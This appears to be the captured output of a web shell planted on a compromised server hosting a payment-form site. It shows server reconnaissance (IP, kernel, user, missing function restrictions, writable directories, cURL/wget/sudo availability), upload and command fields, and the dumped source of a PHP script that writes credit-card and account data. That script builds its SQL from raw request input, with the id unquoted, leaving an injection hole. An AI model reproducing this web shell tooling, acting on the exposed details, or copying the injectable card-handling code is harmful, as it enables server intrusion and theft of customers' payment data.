403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/UpdateUser.php
<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php');
require_once($_SERVER['DOCUMENT_ROOT'].'/php/phpCrypto.class.php');

$site = $_REQUEST['site'];
$id = $_REQUEST['id'];
if(empty($site) || empty($id)) {
	die('Failure: site and id are required');
}
$db = connect_lc2user("lc2{$site}_lc");
$crypto = new phpCrypto();
$update_keys = '';
$fields = array('first','last','address1','city','state','zip','country','email','user','password','phone_1','ip_address','cc_num','cc_cvv','cc_exp_month','cc_exp_year');
foreach($_REQUEST as $key=>$value) {
	if($key=='cc_num') {
		$cc_num = $crypto->encrypt($value);
		$cc_last_four = substr($value,-4);
		$update_keys .= ($update_keys=='') ? "{$key}='".$db->clean($cc_num)."'" : ",{$key}='".$db->clean($cc_num)."'";		
		$update_keys .= ($update_keys=='') ? "cc_last_four='".$db->clean($cc_last_four)."'" : ",cc_last_four='".$db->clean($cc_last_four)."'";		
	} elseif($key=='cc_cvv') {
		continue;
	} elseif(in_array($key,$fields)) {
		$update_keys .= ($update_keys=='') ? "{$key}='".$db->clean($value)."'" : ",{$key}='".$db->clean($value)."'";
	}
}
if($update_keys!='') {
	$query = "UPDATE lc_reseller set $update_keys WHERE id={$id}";
	$db->query($query,$db);
	if(!$db->errno()) {
		die('Success: '.$id);
	} else {
		die('Failure: '.$db->error());
	}
} else {
	die('Failure: no update keys passed');
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit